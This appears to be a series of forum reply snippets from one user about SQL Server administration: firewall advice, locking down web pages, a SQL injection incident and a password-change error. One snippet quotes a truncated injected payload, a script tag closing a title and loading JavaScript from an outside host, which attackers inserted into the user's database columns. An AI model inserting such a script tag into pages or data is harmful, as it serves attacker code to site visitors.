Thanks for the help. I'll take a look at the Windows firewall as suggested.

Yup. We're in the process of locking down the web pages. It's a real pain in the a**. What really surprised me was that we have no SQL queries, everything...

Thanks. I'll follow your suggestion.

Yup. It was a SQL injection. It was inserted into all of my user input columns. The code follows with a space before the js so it doesn't execute.

</title><script src=http://jjghui.com/urchin....

Thanks for the reply. No I'm not using SMMS 2005. It's all SQLServer 2008. WHy would a simple query to change a login password generate this error. Do you know...